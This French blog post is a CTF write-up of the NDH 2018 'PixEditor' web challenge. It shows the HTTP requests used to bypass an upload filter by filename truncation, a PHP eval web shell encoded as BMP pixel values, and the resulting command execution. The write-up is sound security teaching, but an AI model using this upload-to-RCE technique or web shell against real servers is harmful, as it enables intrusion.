[CTF NDH 2018 Quals] Write-Up – Web : PixEditor

01
avril
2018
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: CTF / Events / NDH / NDH2k18 / RCE   /   Pas de commentaire

Présentation d’un write-up de résolution du challenge « Web – PixEditor » des qualifications du CTF de la Nuit du Hack 2018.

Le weekend du 31/03/2018 se déroulait les pré-qualifications pour la Nuit du Hack 2018 sous forme d’un CTF Jeopardy. Ayant eu l’occasion et le temps d’y participer avec quelques collègues et amis, voici un write-up de résolution d’un des challenges auquel nous avons pu participer.

  • Catégorie : Web
  • Nom : PixEditor
  • Description : Create your own pixel art with this powerful tool.
  • URL : http://pixeditor.challs.malice.fr/
  • Points : 350

Ce challenge web permet de créer une image en dessinant pixel par pixel, puis de sauver celle-ci suivant différent format (JPG, BMP, etc.).

En se rendant sur PixEditor, nous sommes amenés à dessiner notre image et choisir le format de sauvegarde :

PixEditor drawing

PixEditor drawing

En analysant les requêtes HTTP réalisées lors de la sauvegarde, on constate que l’ensemble des pixels de celle-ci sont transmis au sein d’un tableau. Les valeurs de ces pixels dépendent du format de sauvegarde souhaité. Bien évidemment, nous choisissons le format BMP puisqu’il n’apporte aucune transformation sur la valeur des pixels ni de compression.

POST /save.php HTTP/1.1
Host: pixeditor.challs.malice.fr
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://pixeditor.challs.malice.fr/
Content-Length: 12389
Connection: close

data=[255,0,0,255,255,0,0,255,255,0,0,255,255 [...] 100,99,98,97,255,0,0,255]&name=image.bmp&format=BMP

On observe que le nom de l’image est défini à partir des paramètres POST. Nous nous empressons de tester d’autres noms arbitraires, notamment des « .php », « .bmp%00.php », avec des CRLF, double-extensions, nullbytes… En vain. Un système de protection à l’air en place.

En analysant un peu plus l’application web, et notamment les fichiers JavaScript auxquels elle fait appel, on note une information intéressante dans le « /js/pixeditor.js » : les noms des fichiers sont limités en taille, et il semblerait qu’une troncature à 50 caractères soit de mise :

Filename truncated

Filename truncated

Empressons nous d’exploiter cette troncature dans le nom du fichier :

POST /save.php HTTP/1.1
Host: pixeditor.challs.malice.fr
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://pixeditor.challs.malice.fr/
Content-Length: 12389
Connection: close

data=[255,0,0,255,255,0,0,255,255,0,0,255,255 [...] 100,99,98,97,255,0,0,255]&name=&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.bmp&format=BMP

Parfait ! L’extension « .bmp » est tronquée puisqu’au delà des 50 caractères, et c’est donc notre précédente extension « .php » qui est conservée. Nous disposons donc bien d’un fichier uploadé avec l’extension PHP (et du contenu au format BMP) :

http://pixeditor.challs.malice.fr/images/38db8710b841ada4658682b357c35ccdc55445016cad930d0a4da1bd1220bc13/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php

Ce fichier « .php » nous affiche le contenu de notre image, au format raw :

BM66( ???????????? [...] ????????????????

A présent, comme des fichiers d’extension « .php » peuvent être créés, nous allons orienter la suite vers l’injection d’un payload nous permettant d’exécuter du code arbitraire. Il nous faut donc pour cela réussir à injecter du code PHP dans l’image (au format BMP) tel que :

<?php eval($_GET["x"]);?>

Chaque pixel de l’image disposent d’une valeur entre 0 et 255, à savoir une valeur décimale. Ainsi, nous pouvons définir un pattern et vérifier la réflexion de celui-ci dans l’image résultante tel que :

abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ

Conversion de cette chaîne en décimale via un outil online :

97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 48 49 50 51 52 53 54 55 56 57 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
Convert string to dec

Convert string to dec

Remplaçons les derniers pixels (0-255) du paramètre POST « data » avec cette suite, en ometant les derniers octets pour conserver un header BMP valide :

POST /save.php HTTP/1.1
Host: pixeditor.challs.malice.fr
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://pixeditor.challs.malice.fr/
Content-Length: 12389
Connection: close

data=[255,0,0,255,255 [...] 90,89,88,87,86,85,84,83,82,81,80,79,78,77,76,75,74,73,72,71,70,69,68,67,66,65,58,57,56,55,54,53,52,51,50,49,48,122,121,120,119,118,117,106,115,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,98,97,255,0,0,255]&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.bmp&format=BMP

L’image (.php) est enregistrée avec succès et lorsqu’elle est consultée elle affiche :

BM66( ???????????????YZ?UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd?????????????????

On remarque la réflexion d’une partie de notre pattern initial, où chaque suite de caractère semble être regroupée par paquet de 3, le tout inversé. Certaines lettre semblent également manquer.

A partir de ce pattern « UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd », recherchons dans notre paramètre POST « data » les correspondances décimales pour le « U », le « V », « W », « Q », « R » etc. Et remplaçons les par les valeurs décimales de notre payload PHP :

Pattern réfléchi :
UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd

Pattern décimal équivalent :
85 86 87 81 82 83 77 78 79 73 74 75 69 70 71 65 66 67 55 56 57 51 52 53 122 48 49 118 119 120 114 115 106 110 111 112 106 107 108 102 103 104 98 99 100 

Payload PHP :
<?php eval($_GET["x"]);?>

Payload PHP décimal :
60 63 112 104 112 32 101 118 97 108 40 36 95 71 69 84 91 34 120 34 93 41 59 63 62

Le « U » (85) sera donc remplacé par le « 60 » (<), le « V » (86) sera donc remplacé par le « 63 » (?) etc.

Ce qui produit le tableau de valeurs décimales suivants pour injecter la chaîne « <?php eval($_GET[« x »]);?> » :

POST /save.php HTTP/1.1
Host: pixeditor.challs.malice.fr
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://pixeditor.challs.malice.fr/
Content-Length: 12395
Connection: close

data=[255,0,0,255,255 [...] 255,90,89,88,112,63,60,84,32,112,104,80,97,118,101,76,36,40,108,72,69,71,95,68,34,91,84,58,93,34,120,54,63,59,41,50,49,48,62,121,120,119,118,117,106,115,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,98,97,255,0,0,255]&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.png&format=BMP

L’image d’extension PHP avec le payload PHP syntaxiquement valide est bien enregistrée côté serveur. Il ne reste plus qu’à l’exploiter :

http://pixeditor.challs.malice.fr/images/e1372d74008602ab0808a5c034edba071c00ecf4442b64284665357d8756430a/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php?x=system($_GET["z"]);&z=ls -la
Shell PixEditor

Shell PixEditor

Le fichier « /flag » nous semble prometteur :

Flag PixEditor

Flag PixEditor

Bingo ! Well done Martin 😉

Salutations à toute l’équipe, on remet ça quand vous voulez 😉 // Gr3etZ

  • Google Plus
  • LinkedIn
  • Viadeo
Yann C.

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.